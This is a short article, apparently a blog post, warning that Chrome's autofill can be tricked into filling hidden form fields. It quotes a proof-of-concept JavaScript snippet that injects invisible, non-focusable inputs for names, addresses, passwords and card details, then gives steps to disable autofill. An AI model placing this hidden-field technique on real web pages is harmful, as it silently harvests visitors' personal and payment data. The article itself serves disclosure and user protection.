Chrome has yet to fix a well-known vulnerability first publicized way back in 2013.

Basically, a hacker can hide form input fields on a web page, which Chrome will then fill in with your personal information if you opt to use its autocomplete feature.

Here’s what this looks like:

gif by anttiviljami

GitHub user haampie demonstrated this with the following JavaScript script:

var autocompletes = ['name', 'honorific-prefix', 'given-name', 'additional-name', 'family-name', 'honorific-suffix', 'nickname', 'username', 'new-password', 'current-password', 'organization-title', 'organization', 'street-address', 'address-line1', 'address-line2', 'address-line3', 'address-level4', 'address-level3', 'address-level2', 'address-level1', 'country', 'country-name', 'postal-code', 'cc-name', 'cc-given-name', 'cc-additional-name', 'cc-family-name', 'cc-exp', 'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type', 'transaction-currency', 'transaction-amount', 'language', 'bday', 'bday-day', 'bday-month', 'bday-year', 'sex', 'url', 'photo', 'tel', 'tel-country-code', 'tel-national', 'tel-area-code', 'tel-local', 'tel-local-prefix', 'tel-local-suffix', 'tel-extension', 'impp'];emailField.addEventListener('focus', function() { var wrap = autocompletes.reduce(function(wrapper, field) { var input = document.createElement('input'); // Make them not focussable input.tabIndex = -1; input.autocomplete = field; wrapper.appendChild(input); return wrapper; }, document.createElement('div')); // Hide the wrapper wrap.classList.add('hidden'); form.appendChild(wrap); // Inject the autocompletes once this.removeEventListener('focus', arguments.callee);});

I recommend you turn off Chrome’s autocomplete feature immediately.

The fastest way to turn off autocomplete in Chrome

Paste this into Chrome’s address bar: chrome://settings/autofill Press escape to exit the “manage autofill settings” modal Uncheck the autofill checkbox

Now you’re good to go. You may have to type a bit more, but you can have the peace of mind that hackers won’t be able to steal your personal data using this well-known exploit.